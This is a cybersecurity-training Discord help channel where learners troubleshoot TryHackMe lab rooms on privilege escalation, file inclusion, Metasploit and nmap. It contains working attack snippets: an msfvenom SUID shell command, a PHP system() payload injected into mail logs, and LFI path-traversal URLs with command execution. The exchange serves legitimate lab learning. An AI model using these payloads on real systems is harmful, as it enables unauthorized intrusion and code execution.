Hello, I'm currently blocked in the LinPrivEsc on Task 11 where we exploit nfs no root squash to gain root privileges. When I execute my shell with suid bit set i don't get root access but only a shell with karen access:

$ ls -l
total 44
-rwxr-xr-x 1 root root 16040 Jul  7 09:45 shell
-rw-r--r-- 1 root root   125 Jul  7 09:45 shell.c
-rwsr-sr-x 1 root root   132 Jul  7 09:35 shell.elf
-rwsr-sr-x 1 root root    91 Jul  7 09:48 shell.py
drwx------ 3 root root  4096 Jul  7 09:02 snap.lxd
drwx------ 3 root root  4096 Jul  7 09:02 systemd-private-0e4b35374c0542baab5512e1648690bb-systemd-logind.service-HRYEXf
drwx------ 3 root root  4096 Jul  7 09:02 systemd-private-0e4b35374c0542baab5512e1648690bb-systemd-resolved.service-7ocgCf
drwx------ 3 root root  4096 Jul  7 09:02 systemd-private-0e4b35374c0542baab5512e1648690bb-systemd-timesyncd.service-KRZ5Ue
$ ./shell.elf
karen@ip-10-10-147-138:/tmp$ id
uid=1001(karen) gid=1001(karen) groups=1001(karen)

I generated the shell using msfvenom with msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfsmount/shell.elf
because when I execute the c programm I compiled I have this error

$ ./shell
./shell: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./shell))```

I also get karen shell and no root shell; if I'm doing something in python

[prisma raptor]

#room-help message

[plush otter]

My problem is not that i don't succeed in putting a shell on the target, but that when it's executed even if it is owned by root and has the suid bit set it doesn't grant me a root shell

[prisma raptor]

Who owns shell.elf?

[plush otter]

-rwsr-sr-x 1 root root 132 Jul 7 09:35 shell.elf

[neon geyser]

So what happens when you execute?

[plush otter]

$ ./shell.elf
karen@ip-10-10-147-138:/tmp$ id
uid=1001(karen) gid=1001(karen) groups=1001(karen)

i got a shell but with karen

[prisma raptor]

Seems to be the payload. Looking at it closely, your shell.elf simply called /bin/bash -p in your target or victim machine.

However, the /bin/bash binary in your target doesn't have the SUID bit set

[plush otter]

Oh I see, so how can I generate a payload with msf venom that works ?

[prisma raptor]

Doesn't the task include the suggested payload?

Or follow the instructions I linked to your message.

[plush otter]

I'll follow he message even if I would like to know how to craft such a payload

Thanls

[obsidian olive]

Someone solved the Include Challenge ? I have the solution but can't flag

[sage current]

the file inclusion room or the room literally called include???

[obsidian olive]

The room (challenge) called Include

[sage current]

first or second flag???

[obsidian olive]

Second flag

LFI + RCE

Tried with ssh and smtp log poisoning

[sage current]

if you have rce why do you have a shell???

*Why do you not have

[obsidian olive]

This is the question

The room is bugging

I can send php.info

And have a good result

But when i try system.php("ls /var/www/html") for example the site crashs and i dont have anymore any log at /var/log/auth.log

I tried as well on my kali with exegol throw smtp but nothing is woeking

I watched some write up and it is working for them so I dont know i tried many times

[sage current]

even after restarting/reseting the targetmachine???

[obsidian olive]

Yes I did it 2 times

Too much unstable

[sage current]

hmmm

[obsidian olive]

Not the first time

[sage current]

it did not feel unstable in testing that is for sure

just to weed out any other problems here is something to try

[obsidian olive]

Tonight i was working with the attack box

[ashen moss]

Troubleshooting OpenVPN on Linux and Mac

Article Link

https://help.tryhackme.com/en/articles/6496058-troubleshooting-openvpn-on-linux-and-mac

Jul 8, 2024, 9:35 PM

[obsidian olive]

I was on the attack box so no the problem is not this

I try to flag it since 2 days

Throw exegol not working well as well

[sage current]

http://MACHINE_IP/profile.php?
img=....//....//....//....//....//....//....//....//....//....//var/log/mail.log&c=ls -lah

[obsidian olive]

And if you have the solution throw smtp feel free to dm me please ;). I tried php.system("cmd") everywhere (FROM TO/SUBJECT ETC) i have never seen the payload in the mail.log

[obsidian olive]

With which payload ?

[sage current]

from telnet using this as the payload towards smtp:

Include7MAIL FROM:<[e-mail]>
RCPT TO:<?php system($_GET['c']); ?>

[obsidian olive]

Not working for recept to they want Charles for example

I tried many times

[sage current]

???

it worked for shadow

[obsidian olive]

?

[sage current]

i.e the errors can mostly be ignored

[obsidian olive]

OK lets try it tomorrow.
But i try this payload in MAIL FROM/SUBJECT ETC

Why we cant put this payload in the subject after data ?

[sage current]

subfect???

[obsidian olive]

Subject

[sage current]

also there is 2 intended paths that work.... did you try both???

sadly it is against the rules for shadow to just hand over the flag even though they got it

so will try and help you get it yourself

[obsidian olive]

More details please

[sage current]

npm log poisoning or the smtp route above

[obsidian olive]

I tried ssh log poisoning and smtp log poisoning via telnet

[sage current]

yeah... but those are not npm log poisoning and you are not doing that over telnet

[obsidian olive]

But watch a writeup and it is working as well

[obsidian olive]

So what is your advice ?

[obsidian olive]

From the website on the 4000 port ?

But how people solved it throw smtp via telnet and ssh if it is not possible 😅

[sage current]

port 50000 but yeah

[sage current]

smtp possible ssh not

[obsidian olive]

Can you show me how is it possible via smtp (without telnet) ? I will send to you the commands that i taped during the morning

[obsidian olive]

This website is on port 4000 not 50000 and used this funtionality to become admin.

[obsidian olive]

I tried :
EHLO symbole
MAIL TO:[e-mail]
RCPT TO: charles
Data
Subject :<?php system($_GET['cmd']); ?>
Blabla
.

In the LFI&cmd=whoami I dont have any result. Try to put the payload in the MAIL TO field etc nothing is working

@sage current

[serene gorge]

Hi, could anyone please help with metasploit exploitation room > task 5.... I understand I'm using the right exploit according to the Hint, but the target machine is not vulnerable to ms17_010... Could anyone advice? Thanks in advance...

[serene gorge]

I don't know why I can't send a screenshot, but what I can tell is that I'm trying to use:

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[] Started reverse TCP handler on 10.10.###.###:4444
[] 10.10.175.77:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[-] 10.10.175.77:445 - Host does NOT appear vulnerable.
[] 10.10.175.77:445 - Scanned 1 of 1 hosts (100% complete)
[-] 10.10.175.77:445 - The target is not vulnerable.
[] Exploit completed, but no session was created.

Question Hint

The target is missing the MS17-010 patch.

[ashen moss]

@serene gorge

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Jul 10, 2024, 7:16 AM

[prisma raptor]

Can you do show options and share the results?

[smoky parrot]

would this be a good place to continue after the #878393611929129000 ?

[neon geyser]

Yes.

[smoky parrot]

alright, thanks again

[next lance]

Gave +1 Rep to @neon geyser (current: #74 - 86)

[smoky parrot]

surely going to buy premium after my finals so I can continue :)

[serene gorge]

Thank you for replying... I've found the issue... Call me noob but, I thought that I should use the target VM of task number 2 to all tasks in that page... Just now that I was going to replicate the error, I saw the green VM symbol on the right side of task 5... I could complete the task with success now... Thank you and sorry for disturbing the chat...

[next lance]

Gave +1 Rep to @prisma raptor (current: #11 - 608)

[prisma raptor]

No worries. That's what the purpose of this discord / forum is, help other folks and foster learning.

[atomic zenith]

hey folks, looks like the file inclusion room is striking again! I am absolutely stuck on the last question of the challenge "Gain RCE in Lab #Playground /playground.php with RFI to execute the hostname command. What is the output?" Im using the attack box and have tried making a http.server in terminal using sudo python3 -m http.server but i then cant access that server to make my cmd.txt file to force the flag. Any help!? thanks!

[boreal notch]

Well actually you have to particularly visit the challenge directory

And not the playground directory

Just visit "ip/challenges" directory and then you will find the challenges for which you will have to find the flag

[boreal notch]

Gaining rce is not the solution because you will not find anything........ Playground is just for your practice

[boreal notch]

As for the last challenge, you can go to revshell website and copy a simple php payload and put it on the website and then open up nc listener and it will be done

[atomic zenith]

Oh…. Looks like I was going about it in a much more difficult way. If the Linux on attack box was more up to date, I would have been fine. Couldn’t open a sudo http and open another terminal and it work within it. It was just opening another terminal under root user

[boreal notch]

I don't think you can create python server on attackbox

Or maybe i haven't tried it yet

[atomic zenith]

What nc listener are you using? -- And should i just go forth and download a VM program and not use attackbox? lol

I was going to wait until a little closer to school to go buy my actual laptop for cyber, currently just trying to get knowledge going into schooling using my old gaming laptop

[boreal notch]

Just go to revshell and there you will find php payload which will be only 1 line and you can then copy that...... As for the listener, when you visit revshell then you will find it out and then use that to get the flag....... You can use this listener on attackbox and it will work completely fine

[wise furnace]

hi not sure if this is the right channel, so im working on with the hydra learning pathhttps://tryhackme.com/r/room/hydra and I can't seem to access the weblink provided for the exercise: http://machine_ip/

[neon geyser]

You have to start the machine first, green button.

Whenever you see a link with machine_ip you have to start a machine and the IP will show in 1 minute.

You can only acces that webpage while connected to the THM network either tru openVPN from your own machine or tru the attackbox.

[maiden dagger]

Anybody here work as a pentester?

[prisma raptor]

Depending on your question, this might be better posted in #infosec-general .

[crimson citrus]

NetSec Room:

question: Where flag?

nmap -T2 -ff -Pn -D 10.10.29.29,10.10.169.34,10.10.77.91,ME,10.10.161.201,10.10.68.157 -vv 10.10.29.27

command used

I think there was a problem with the scan because there are actually ports open and it didnt see

[crimson citrus]

So i did many scans now, i also got the ports etc. but it is always on 0%

and it wont give me the flag

and now im not even done and it gave me the flag

someone might fix that

for those who have the same problem, if you use the -f(f) switch to fragmentate the packets it wont work because it may not detect those

[boreal notch]

Well i just completed this challenge yesterday and this is not what you should be doing

The solution to the last challenge is very simple..... You just need "nmap ip -sN" because the challenge states that you need to get the % as low as possible so you don't need to ping the host and that's it....

The challenge isn't broken because if you start from the beginning you might probably have scanned the ip and already sent packets to the system and most probably your system did a three way handshake

You need to reset the packets and you will clearly see the message that the packets were reset and then you can again do a stealth scan with just -sN tag you will get the flag

[crimson citrus]

It said i should evade the ids of the vm. What i did was to evade ids. I had 0% many times even with resetting reloading etc.

Idk about you but in the previous rooms we learned about ids detection prevention

[boreal notch]

It need not be 0% for this challenge because when i did the scan it was at 7% but still gave the flag

[crimson citrus]

That’s probably because of the ping

[small zodiac]

Hi everyone, I am currently working in the Windows Privilege Escalation room on Task 5 and have ran into a snag with the Insecure Service Permissions section. I have followed the steps up to restarting the THMService and keep getting this error regardless of what I try to do. Any assistance would be appreciated!

[empty ledge]

Will check when I get home if no-one can help you first.

[sour nymph]

@small zodiac are you in cmd or powershell?

In powershell you need to write sc.exe

[empty ledge]

@small zodiac Confirmed working with command prompt. Also confirming the need for the exe file extension in powershell.

[small zodiac]

Was in cmd. Thank you for the response!

[next lance]

Gave +1 Rep to @sour nymph (current: #870 - 4)

[small zodiac]

Thank you!

[empty ledge]

np at all.

[sour nymph]

your welcome 👍

[restive viper]

thank you for being of the people that show their solution, i was having the same issue just now 😭 😂

[next lance]

Gave +1 Rep to @serene gorge (current: #2137 - 1)

[restive viper]

I have a short question; when using msfvenom to list all payloads with msfvenom -l payloads it shows so many that i cant keep scrolling up beyond windows exploits, how can i see the full list?

[neon geyser]

Under profile preferences of your terminal you can select unlimited scroll back.

[restive viper]

😮 thank you so much!

[glass rampart]

Hi

[cerulean hare]

Hi, I just completed the Jr. Penetration Tester path. I'm wondering whether I should now pursue the Offensive Penetration Testing path or the Red Teaming path. Which one should I start with?

[raw wave]

Greetings, all!
I just finished the LFI/RFI challenges, with some help from the discussion here. The last one was quite clever, which I appreciate greatly!

Thank you for everyone who's participating here!

[prisma raptor]

You can find one of the recommended sequence or order by which to complete the learning paths - #general message

[cerulean hare]

Thanks !

[slender void]

In the room https://tryhackme.com/r/room/fileinc Challenge 2 i changed to Cookie value to Admin and i'm getting the following error Warning: include(includes/Admin.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/chall2.php on line 37

Warning: include() [function.include]: Failed opening 'includes/Admin.php' for inclusion (include_path='.:/usr/lib/php5.2/lib/php') in /var/www/html/chall2.php on line 37

[boreal notch]

Check the directory

You are doing playground challenge i suppose

You need to go to challenges directory to solve the questions

[boreal notch]

You can solve the last rfi challenge in playground

[slender void]

Thanks for your reply. I am working in challenge 2 http://10.10.240.70/challenges/chall2.php

[next lance]

Gave +1 Rep to @boreal notch (current: #2147 - 1)

[boreal notch]

Go ahead

[slender void]

And I am getting this message Warning: include(includes/Admin.php) [function.include]: failed to open stream: No such file or directory in /var/www/html/chall2.php on line 37

Warning: include() [function.include]: Failed opening 'includes/Admin.php' for inclusion (include_path='.:/usr/lib/php5.2/lib/php') in /var/www/html/chall2.php on line 37 --> is this a bug or works as designed?

[boreal notch]

The second challenge is about cookies i believe

You need to change cookies in this

[neon geyser]

Change the cookie so that you have admin acces then find flag in /etc/flag2

I think you can use developer tools or burp suite.

[slender void]

I changed the cookie to Admin and the I got the warning. How can I paste een screengrab in this thread?

[boreal notch]

Are you verified?

You need to be verified in order to send pics

[ashen moss]

@slender void

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Jul 24, 2024, 3:19 PM

[boreal notch]

Well if you are doing it correctly and change the cookie to admin then you will just need to change the cookie and do directory traversing to get the flag

[boreal notch]

Just go to #bot-commands and here type /verify and you will token option then go to your thm profile and get discord token and paste it here in /verify token then you will be verified and can send pics after that

[boreal notch]

Do this now

As you changed to admin do the same thing and instead of admin do directory traversing

[neon geyser]

Only thing you have to keep in mind is that it's gonna add the .php which should be removed.

[slender void]

Indeed. I changed the cookie to this value ../../../../etc/flag2%00 and it worked.

[boreal notch]

Try the third one now

[slender void]

I changed the cookie to this value ../../../../etc/flag2%00 and it worked. Thanks!

[next lance]

Gave +1 Rep to @boreal notch (current: #1424 - 2)

[boreal notch]

@neon geyser helped you too

[slender void]

@neon geyser helped me too. I have sent him also a thank you!

[next lance]

Gave +1 Rep to @boreal notch (current: #873 - 4)

[neon geyser]

No worries. 😉

[old hollow]

I've been working on Task 8 Challenge 3 for the File Inclusion page for a while and I haven't been able to get past it not recognizing the nullbyte. I've searched the discord and everyone seems to be just going to burp suite or curl. Is challenge 3 not possible in the browser alone? I've managed to do the other two in the browser so I was hoping I'd be able to figure out something for 3 but I can't seem to get past this wall.

[neon geyser]

iirc you'll need burp suite.

[old hollow]

Good to know, I wish that was a bit more clear, it just seemed like a strong suggestion instead of the answer. Thanks again!

[next lance]

Gave +1 Rep to @neon geyser (current: #55 - 129)

[prisma vapor]

Stuck with linux kernel privilege escalation.
first i could not get to download the exploit file using http server on the attack box, as karen do not have write permission and the user does not have a home dir. So i downloaded it into temp folder and tried to run it from there.

• changed the file permission to executable
  But its not running as it treating the comments in the exploit as commands?

using this exploit CVE-2015-1328

: not found ./37292: /*
: not found ./37292: 
./37292: 9: ./37292: *=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*: not found
./37292: 10: ./37292: CVE-2015-1328: not found
./37292: 11: ./37292: overlayfs: not found
: not found: ./37292: 
./37292: 13: ./37292: user@ubuntu-server-1504:~$: not found
./37292: 14: ./37292: Linux: not found
./37292: 15: ./37292: user@ubuntu-server-1504:~$: not found
./37292: 16: ./37292: user@ubuntu-server-1504:~$: not found
./37292: 17: ./37292: Syntax error: "(" unexpected

found the issue i did not complie the c code with gcc before running it .

[next gyro]

anyone willing to swap notes on the jr Penetration tester path?

[visual orbit]

Hi! aaaaaand another one struggling with the LFI challenge 3 ... only this time i get something different and i don't understand where that's coming from

[boreal notch]

Can you send the picture

[visual orbit]

||intercepted with burp, switched from GET to POST and had the URL /challenges/chall3.php?file=../../../../../etc/flag3%00 and in the response i get Warning: includ(.php) blablabla as if it filtered my whoooole string||

[visual orbit]

sent in private to avoid spoiler ^^

[boreal notch]

Use burp for this

[visual orbit]

the screenshot is burp

[boreal notch]

I don't see any screenshot

[visual orbit]

i sent it in your dm

or should i just post it here and remove it afterward?

[neon geyser]

You can set spoiler for image aswell.

[visual orbit]

didn't knew! i'll do that next time thanks

[boreal notch]

Can you check your dm?

@neon geyser

[prisma vapor]

Doing Linux Privilege Escalation: PATH but getting two issues ..

• gcc is not installed on the target so was not able to compile the c code. I compiled the c code on attack-box and sent it to the target via http server.
• although the compiled code is able to start a shell from temp folder but it does not have root privilege.

this is c code as shown in the write up

void main()
{
  setuid(0);
  setgid(0);
  system("thm");
}```

I was able to solve the task using another complied c file named  `test` lying in the folder. But was not able to get to root privilege with steps mentioned. Am i missing something ..

[prisma vapor]

After closer look i am guessing that you have to use test file to get the answer, as low privilege user i can not compile a program with root privelage hence wont be able to run shell with root at least with PATH. test on the other hand was made by someone with root privelge therefore it works.

[alpine turret]

Hey, please, one question.... I am doing active recon room, traceroute question.. the question is "In Traceroute A, what is the IP address of the last router/hop before reaching tryhackme.com?" ... why is the answer ||172.67.69.208|| when last (previous) router is on 13th hop?

[pliant plover]

the last hop is from 100.92.9.3 to 172.67.69.208(THM)

[visual orbit]

🥳

now to the red teaming path!

[fresh rose]

No offensive pentester?

[visual orbit]

You're right, I missed that one! Gonna start by it first thx ^^

[next lance]

Gave +1 Rep to @fresh rose (current: #2172 - 1)

[half ibex]

Do somebody knows how to find the directory listing flag? Part of the Jr Pentester module > Viewing the page source exercise. Im having issues try to find the flag.txt file on the target website directory. or if someone can tell me how to view the directory in the web browser. I will appreciate it!

[prisma raptor]

What have you checked thus far? You should be able to find it by browsing the site or looking at common site pages.

[half ibex]

Ive been looking at the HTML source code, I dont know if you mean like browsing on the actual webpage around looking at the HTML source code or not?

[prisma raptor]

Just looked at the room. Yes, if you look at the target slowly and carefully, it should be there. You don't need to use a tool or anything of the sort, manual browsing should do. I would suggest looking at the links in the source and it should point you to the right direction.

[half ibex]

Okay, thank You so much for the tip!, I already had the other flags from the secret pages, and the framework vulnerability part. I will continue to look for the directory listing flag.

[next lance]

Gave +1 Rep to @prisma raptor (current: #11 - 639)

[grim junco]

If I finish this path, will I have the same knowledge as if I had completed the eJPTv2?

[prisma raptor]

You'll have to map the concepts covered in the path against the eJPTv2 outline to know for certain.

[rotund jewel]

If you're looking for more knowledge and have the $. I recommend taking the eJPT course and exam. I have the eJPTv1 . Complete the advanced exploitation section in the offensive path. It was a huge help for me.

[half ibex]

Hello There!, Im having trouble loading one of the machines from the Web Hacking section o nthe IDOR Practical example. The website/ipaddress from the machine is unable to load and it gives me an error of bag gateway. I will appreciate ay guidance on possible issue or solution. Tahnk You in Advance!

[neon geyser]

Could you verify (see link) and share a screenshot?

[ashen moss]

@half ibex

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Aug 12, 2024, 7:53 PM

[half ibex]

This is the error shown, after trying to load the machine

[neon geyser]

It's working for me with your IP. Try refresh?

[half ibex]

Umm Okay!, Got iT!. Now it loaded!, Thank You @neon geyser

[next lance]

Gave +1 Rep to @neon geyser (current: #42 - 179)

[nocturne island]

Hello

How i can get my cert old

I pass path jr pentest before update new cert

Now i want download my cert for aply jobs

[prisma raptor]

Are you referring to your certificate of completion? By update, is it pertaining to the Burp rooms / module?

[nocturne island]

Maybe, but what I remember is that I have completed all the modules, and I have downloaded them, but I forget where the download is.

[median delta]

in Burp Suite: Other Modules Task 4 Decoder: Hashing by the last challenge, when you open the keys by default it uses pluma, and it opens without line 50 causing the md5hash to be wrong

[empty ledge]

I personally used command line for this one, after extracting the files to a folder, cd into it, md5sum *

This is against the spirit of the room granted.

[median delta]

exactly, i also got the correct answer like that, but i wasted another hour trying to figure out why it didnt work correctly with burp decoder, it is supposed to be beginner freindly

[torpid thorn]

I am wondering if anyone could help. Doing room Nmap Basic Port Scans, task 5. I did nmap -sS (IP) and the answer isn't showing up. I googled the answer found the port number that should be showing up. I tried nmap -p (answer) (ip) and it says that port is closed. What am I doing wrong?

[spiral python]

https://tryhackme.com/r/room/subdomainenumeration

Need help with Task 6: Virtual Hosts.

Whenever I type in the ffuf commands I am getting errors, I am not sure what is incorrect.

I am making sure to replace the placeholder {size} txt but I still am getting an error.

[remote iris]

Can you verify and screenshot?

[spiral python]

I can't send a screenshot. here is a drive link https://drive.google.com/file/d/1JFBXpQqaA7VRGsebWNVjX6wK7-NydCaz/view?usp=sharing instead. this is the output im getting instead of a list of subdomains.

[spiral python]

i edited the message above i had the incorrect screenshot attached

[ashen moss]

@spiral python

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Aug 22, 2024, 6:23 AM

[prisma raptor]

Follow the steps described to allow you to share a screenshot (as folks will be hesitant to click on links coming from random people).

[prisma raptor]

Are you using the Attackbox or a kali VM (connected to THM OpenVPN)?

[torpid thorn]

I was using Kali VM

[torpid thorn]

I ran into this issue with the other nmap questions for looking for the missing port. I went to Attackbox today and still didn't get the open ports to show

[prisma raptor]

Have you clicked on the green Start Machine button?

[torpid thorn]

to get the ip address?

[prisma raptor]

Of the target, yes.

[torpid thorn]

Ya I started the machine within Task 5 to get the IP address, I have the openvpn going. I was able to get the nmap to work just not show any missing ports. I'm going to try it again so I can offer screen shots. Maybe it will work this time though

[torpid thorn]

nmap -sS 10.10.0.200
Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-22 02:37 EDT
Nmap scan report for 10.10.0.200
Host is up (0.14s latency).
Not shown: 993 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
110/tcp open pop3
111/tcp open rpcbind
143/tcp open imap

Nmap done: 1 IP address (1 host up) scanned in 1.98 seconds

[torpid thorn]

nmap -p 6667 10.10.0.200

Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-22 02:39 EDT
Nmap scan report for 10.10.0.200
Host is up (0.11s latency).

PORT STATE SERVICE
6667/tcp closed irc

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

[prisma raptor]

Is 6667 the correct port?

[torpid thorn]

Ya I googled it and placed it in and it gave me the check mark

[prisma raptor]

Can you try running it again using sudo?

[torpid thorn]

I am running it as root, but I tired and same

[prisma raptor]

You may want to try restarting the target, and waiting for 5 mins before running the scan to give the services enough time to start.

[torpid thorn]

Is there a trick to restarting it? I just ask cause it's been 24 hours since I first tried and moved on. Still having the same issue.

[torpid thorn]

Thank you for taking the time to try to help me btw

[next lance]

Gave +1 Rep to @prisma raptor (current: #11 - 659)

[prisma raptor]

How long did you wait from the moment you started the target before scanning it?

[torpid thorn]

The first time doing it 10 to 15 mins since I start those as I read. this time a few mins.

[torpid thorn]

But trying it now i'm watching the timer. I'll let you know

[torpid thorn]

Just had to terminate the machine right? nothing else for the restart?

[prisma raptor]

After terminating it, you just need to click on Start Machine.

[torpid thorn]

restarted, 5 mins and same 😦

[torpid thorn]

Think it's just bugged, thanks for your help again. Im going to head to bed

[next lance]

Gave +1 Rep to @prisma raptor (current: #11 - 660)

[spiral python]

👍

[spiral python]

here is the screenshot i mentioned b4

[prisma raptor]

Can you share the command you used?

[tawny umbra]

Hey guys, Im in the file inclusion room, Local file inclusion - LFI #2, and i cannot understand number 4. Why can we use ?lang in the input to bypass the directory restritction, if ?file is already used? is it possible to add another parameter on top of the other parameter, how does it work exactly? If i change the site address to just ip.com/lab6.php/?lang=THM-profile/../../../../../etc/passwd, why doesn't it work? Why does it have to have ?file= before?

[cinder crow]

@remote iris hey there's an error in this room

In task 6 1st question

Actual answer is 3

But it's showing 0 for me

I'm using attackbox

1st question in this

[remote iris]

You've got the wrong machine open.

You need to start the machine on Task 6.

[cinder crow]

Oh

[remote iris]

You have the machine open from Task 5.

[cinder crow]

My bad

[remote iris]

The icon circled in red means there is a VM attached.

[cinder crow]

Yeah ik

I thought it's the same vm

For all

[dreamy wraith]

hi everyone ! i have a doubt about task 5 in the Local File Inclusion Lab #3 where instructions say to read /etc/passwd.. why do we need to do 4 "../" in the path traversal instead of 3. I put in some junk input and it says the current path is /var/www/html. So my reasoning goes if we want to get to the root dir (/) from lab3.php in the html folder, we just need to move from html -> www (1) and from www-> var(2) and from var->root (3). Am I missing something here?

[prisma raptor]

Haven't done the room yet, but only reason I can think of is that there may be another folder under html where the application is being run.

[cinder crow]

You are directly accessing a Linux machine. , so you use ../ to move out of folders in linux

Cd ../ to move out of a folder

[jade glade]

I'm having trouble with the "What The Shell Room" Task 13, Question 2:
I created the webshell and am able to access my Kali Attack Box's directory from the victim Linux machine's web server, I have a nc listener active on port 1234, I have edited my reverse shell script to have my attackbox IP and port 1234,
When I activate the script on the linux box I get a Invalid connection error on my Netcat and the web browser gives me the error: WARNING: Failed to daemonise. This is quite common and not fatal. Successfully opened reverse shell to 10.10.120.112:1234 ERROR: Shell connection terminated.

[jade glade]

Nvm I found the issue. it's because i set the netcat to a specific ip instead of keeping it a wildcard.

[cloud granite]

https://tryhackme.com/r/room/activerecon
in room Active Reconnasince in path (jr penetration tester)
i have an error in my answer in Task 5 (telnet) 2nd question
What is the version of the running server (on port 80 of the VM)?
Ans : 2.4.10 it's true but he won't to submit there

[final aurora]

replaces with phtml extension

php-reverse-shell.phtml

[remote iris]

The answer is not 2.4.10

[merry night]

This is the old answer, which is no longer valid. If you run the command in Task 5, you will get the updated answer.

[stoic olive]

In the burp suite intruder room.
Question 7
I used this answer
“username=admin&password=admin”

I checked the hint and it should be right but it’s not working I even looked it up on YouTube and it’s the exact same answer but still not working for me

[dull ether]

\o/ Just finished the junior pentester path. 100%

what's a good follow up? I'm thinking "Red Teaming"?

[prisma raptor]

There is a recommended order dor completing the paths -

#general message

[prisma raptor]

Previously, there was an issue with the & character, but this has been resolved.

[cerulean tusk]

file inclusion task 2. What am i supposed to do here? https://i.imgur.com/J0PMt9a.png

like, should i move forward for now and read other tasks?

[cerulean tusk]

oh, i took a look for a few next tasks, seems like this is the option, right?

[prisma raptor]

Can you verify your account and post a screenshot instead?

[ashen moss]

@cerulean tusk

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Sep 4, 2024, 7:40 PM

[cerulean tusk]

mb

file inclusion task 2. What am i supposed to do here?
looks like should i move forward for now and read other tasks?

[prisma raptor]

What does the task say?

[cerulean tusk]

apply techniques as well as do the challenges

and it also says in the bottom, that i should leave it and go forward for now

[fickle cove]

I'm stuck on the same task @rocky lava , let me know if you find answer.
This is the resulto of running the task 3 command

[remote iris]

Attackbox or vm?

[remote iris]

Can you share the command you used?

[fickle cove]

attackbox

[remote iris]

Can you share the command and wordlists?

[fickle cove]

command

[remote iris]

Can you also share the wordlists?

[remote iris]

And passwords?

[fickle cove]

but the passwords is a .txt that we already have in the machine, right?

[remote iris]

It is, yes.

One moment please.

[fickle cove]

tks

[remote iris]

Worked for me ok.

[fickle cove]

but shouldn't show on your screenshot the password that worked for the X username?

let try to put my valid_username.txt list on the same directory as yours

[remote iris]

I erased them.

[fickle cove]

ah ok

I'll start it from scratch

but the names you are getting are the same as mine?

[remote iris]

Yes.

[fickle cove]

@remote iris I've found the problem. I don't know why my 10-million-password-list-top-100.txt was in a subfolder that I didn't touch, I've moved to the same folder as yours and now I've got the answer

I'd like to understand the reason because I was pointing to the right subfolder even tough it was different from yours.
But it put a big interrogation mark in my head, shouldn't all the same rooms be the same?

[remote iris]

Seclists could have been updated, I'll need to check.

[fickle cove]

If it is updated that often I believe it becomes harder to each other get help here, this shouldn't change like this. or at least to have better step-by-step or a help button inside the room.

[remote iris]

No, it's still the same and the passwords file is in the correct sub directory.

[fickle cove]

Got it. I did the room again and it was in the right place but how mine was in a different folder before? I'm 100% sure I didn't change directory

crazyness!

[cunning prism]

Hey everyone, I've got a question I'm hoping someone can help me with. I'm doing a CTF in a Pentest environment and I've run 'sudo -l' and I get "User srvadm may run the following commands on dmz01:
(ALL) NOPASSWD: /usr/bin/openssl"
I have run the commands listed on GTFObins for openssl with sudo and I do receive a shell but I do not get any sudo privileges with it. I have confirmed that I can indeed run openssl as sudo (I was able to read the flag in /root by using a sudo openssl command". Does anyone know if I need to do anything besides run the commands listed on gtfobins (https://gtfobins.github.io/gtfobins/openssl/#sudo) to privesc? Thanks in advance.

[prisma raptor]

Is this CTF on-going?

[cunning prism]

sorry shouldn't have called it a ctf, it's a htb module

wasn't really looking for hints or answers on the module itself, just the practice to see if i was doing something wrong with the commands

[remote iris]

If you need HTB support,.please seek their help in their server.

[cunning prism]

i dont need htb support, i was asking a general question about running sudo with openssl

[remote iris]

You're looking for help on an htb module though.

[cunning prism]

nothing i said is more relevant there than it would be here, youre just choosing to take it personally. its applicable on whatever platform you choose. 12 months tryhack me sub and 246 day ongoing streak btw

im asking a question about running openssl as sudo, thats it

[remote iris]

It's nothing personal.

It's in our rules that you have accepted, I don't know HTB's policy on support and help for their rooms or modules.

[ashen moss]

<#651923438524432404>

Rule 5 - No Cheating

Cheating in any form is strictly prohibited. This includes, but is not limited to, requesting assistance with schoolwork, employee assignments, or active CTFs. If you need help with challenges or content from other platforms, please use their respective Discord server. [See More] [See More]

TryHackMe Rules · Sep 16, 2024, 1:31 PM

[cunning prism]

literally doesnt apply

[remote iris]

sorry shouldn't have called it a ctf, it's a htb module

Yes it does.

[sharp vessel]

simple question about using chrome dev tools/network
pertaining to https://tryhackme.com/r/room/idor

I know how to complete this using burp, and firefox. but where in the chrome UI do I edit and resend a request?

okay. you have to copy it, enable pasting in console, paste it, edit it, and send it.

[golden trail]

anyone else had this weird issue with the machine on the nmap basic port scan module?

it just literally won't show the correct results

despite quite literally doing one to one what they said

like it's just not showing the other services other than the rpc bind on port 111 when i try to scan it

it takes like 10 scans until it actually shows up

[rotund jewel]

What Nmap command are you using ? Try using -T2 to slow down the scan might help.

[opal canyon]

Hello everyone I just finished the jr pentester path today, do y'all have any recommendations of what I should do next?

[neon geyser]

Did you already do complete beginner path? Else next could be Offensive Pentesting path.

[opal canyon]

I did finish the complete beginner path too

[opal canyon]

Great idea thanks for your help 🙏